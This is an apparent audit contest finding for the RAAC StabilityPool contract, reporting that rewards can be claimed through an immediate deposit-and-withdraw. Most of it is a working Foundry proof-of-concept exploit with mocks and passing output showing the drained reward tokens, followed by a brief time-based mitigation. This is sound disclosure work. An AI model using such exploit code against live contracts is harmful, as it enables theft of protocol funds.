Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

A malicious user can Deposit and withdraw immediately to get RAACTokens as rewards.

Likelihood

HIgh

Impact

High

Description

The stability pool is used for the Rewards distribution for the RAAC protocol. the rewards are given when the users deposit some amount of asset tokens. However, due to no time dependence anyone can get any amount of rewards without waiting

POC

The following CODE shows 2 functions as test, first being the function which shows that a User can deposit and withdraw again and again to get RAACToken
The 2nd function shows that if the user does it for only one time, he can still get the RAACTOKEN REWARDS

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol"; // Path to your StabilityPool contract
// Mock RToken
contract MockRToken is ERC20 {
constructor() ERC20("Mock RToken", "rCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
// Mock DEToken
contract MockDEToken is ERC20 {
constructor() ERC20("Mock DEToken", "deCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
_burn(from, amount);
}
}
// Mock RAACMinter
contract MockRAACMinter {
function tick() external {}
}
// Mock LendingPool
contract MockLendingPool {
mapping(address => uint256) public userDebt;
uint256 public normalizedDebt = 1e18;
function getUserDebt(address user) external view returns (uint256) {
return userDebt[user];
}
function getNormalizedDebt() external view returns (uint256) {
return normalizedDebt;
}
function finalizeLiquidation(address user) external {
userDebt[user] = 0;
}
}
// Mock RAAC Token
contract MockRAACToken is ERC20 {
constructor() ERC20("Mock RAAC Token", "RAAC") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StabilityPoolTest is Test {
StabilityPool public stabilityPool;
MockRToken public rToken;
MockDEToken public deToken;
MockRAACToken public raacToken;
MockRAACMinter public raacMinter;
MockLendingPool public lendingPool;
IERC20 public crvUSDToken;
address public owner = vm.addr(1);
address public manager1 = vm.addr(2);
address public user1 = vm.addr(3);
uint256 public constant INITIAL_AMOUNT = 1_000_000e18;
function setUp() public {
// Deploy mock contracts
rToken = new MockRToken();
deToken = new MockDEToken();
raacToken = new MockRAACToken();
raacMinter = new MockRAACMinter();
lendingPool = new MockLendingPool();
crvUSDToken = IERC20(address(new MockRToken())); // Use RToken as a mock for crvUSD
// Deploy StabilityPool with initial owner
stabilityPool = new StabilityPool(owner);
// Initialize StabilityPool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSDToken),
address(lendingPool)
);
// Mint tokens for testing
rToken.mint(user1, INITIAL_AMOUNT);
raacToken.mint(address(stabilityPool), INITIAL_AMOUNT); // Fund StabilityPool with RAAC tokens for rewards
// Approve StabilityPool to spend tokens
vm.prank(user1);
rToken.approve(address(stabilityPool), type(uint256).max);
// Add a manager
vm.prank(owner);
stabilityPool.addManager(manager1, 500_000e18); // Allocate 50% to manager1
}
function testDepositWithdrawAndReceiveRewardsMultipleTimes() public {
uint256 depositAmount = 100_000e18;
uint256 totalRewards = 0;
// Perform multiple deposit and withdrawal cycles
for (uint256 i = 0; i < 5; i++) {
// Simulate some time passing to accrue rewards
vm.warp(block.timestamp + 1 days);
// Deposit rToken
vm.prank(user1);
stabilityPool.deposit(depositAmount);
// These Two line are supposed to show the new batches of RAAC token minted after some time from the RAACminter.
uint256 newRewards = 10_000e18;
raacToken.mint(address(stabilityPool), newRewards);
vm.warp(block.timestamp + 1 days);
uint256 deTokenBalance = deToken.balanceOf(user1);
vm.prank(user1);
stabilityPool.withdraw(deTokenBalance);
uint256 raacRewards = raacToken.balanceOf(user1);
assertTrue(raacRewards > totalRewards, "User should receive additional RAAC rewards");
totalRewards = raacRewards;
}
console.log("Total RAAC Rewards:",totalRewards);
assertTrue(totalRewards > 0, "User should have accumulated RAAC rewards");
}
function testexploit() public{
vm.startPrank(user1);
uint256 depositAmount=100_000e18;
stabilityPool.deposit(depositAmount);
stabilityPool.withdraw(depositAmount);
uint256 exploit = raacToken.balanceOf(user1);
console.log("The exploited amount of raacToken would be:", exploit);
vm.stopPrank();
}
}

Result

Ran 2 tests for test/ForgeTest2.sol:StabilityPoolTest
[PASS] testDepositWithdrawAndReceiveRewardsMultipleTimes() (gas: 593652)
Logs:
Total RAAC Rewards: 1050000000000000000000000
[PASS] testexploit() (gas: 158360)
Logs:
The exploited amount of raacToken would be: 1000000000000000000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.25ms (1.20ms CPU time)
Ran 1 test suite in 10.10ms (2.25ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Mitigation

A mechanism should be considered where the RAACtoken for the rewards are caluclated on the bases of Time.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.